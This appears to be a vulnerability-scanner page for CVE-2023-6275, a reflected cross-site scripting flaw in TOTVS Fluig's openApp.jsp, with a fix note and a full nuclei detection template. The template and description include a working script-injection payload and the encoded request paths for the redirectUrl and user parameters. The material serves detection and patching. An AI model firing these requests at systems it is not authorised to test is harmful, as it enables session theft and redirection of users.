CVE-2023-6275· totvs / fluig· CWE-79
TOTVS Fluig Platform - Cross-Site Scripting
A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
Impact
Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the redirectUrl and user parameters, potentially stealing user session cookies or redirecting users to malicious sites.
Fix
Update TOTVS Fluig Platform to a version newer than 1.8.1 that properly sanitizes user input.
How to confirm it
Send: GET {{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E ; GET {{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"><script>alert(document.domain)</script>" and "fluig://" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2023-6275 -u <target>
The full check
id: CVE-2023-6275
info:
name: TOTVS Fluig Platform - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
A vulnerability was found in TOTVS Fluig Platform 1.6.x/1.7.x/1.8.0/1.8.1. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /mobileredir/openApp.jsp of the component mobileredir. The manipulation of the argument redirectUrl/user with the input "><script>alert(document.domain)</script> leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
impact: |
Unauthenticated attackers can inject malicious JavaScript via reflected XSS in the redirectUrl and user parameters, potentially stealing user session cookies or redirecting users to malicious sites.
remediation: |
Update TOTVS Fluig Platform to a version newer than 1.8.1 that properly sanitizes user input.
reference:
- https://github.com/erickfernandox/CVE-2023-6275
- https://nvd.nist.gov/vuln/detail/CVE-2023-6275
- https://vuldb.com/?id.246104
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-6275
cwe-id: CWE-79
epss-score: 0.02379
epss-percentile: 0.8402
cpe: cpe:2.3:a:totvs:fluig:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: totvs
product: fluig
fofa-query: app="TOTVS-Fluig"
tags: cve,cve2023,xss,fluig,vuln
http:
- method: GET
path:
- "{{BaseURL}}/mobileredir/openApp.jsp?redirectUrl=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
- "{{BaseURL}}/mobileredir/openApp.jsp?user=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- 'fluig://'
condition: and
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 200References
- https://github.com/erickfernandox/CVE-2023-6275
- https://nvd.nist.gov/vuln/detail/CVE-2023-6275
- https://vuldb.com/?id.246104
Use this check only on systems you are authorised to test. Where the data comes from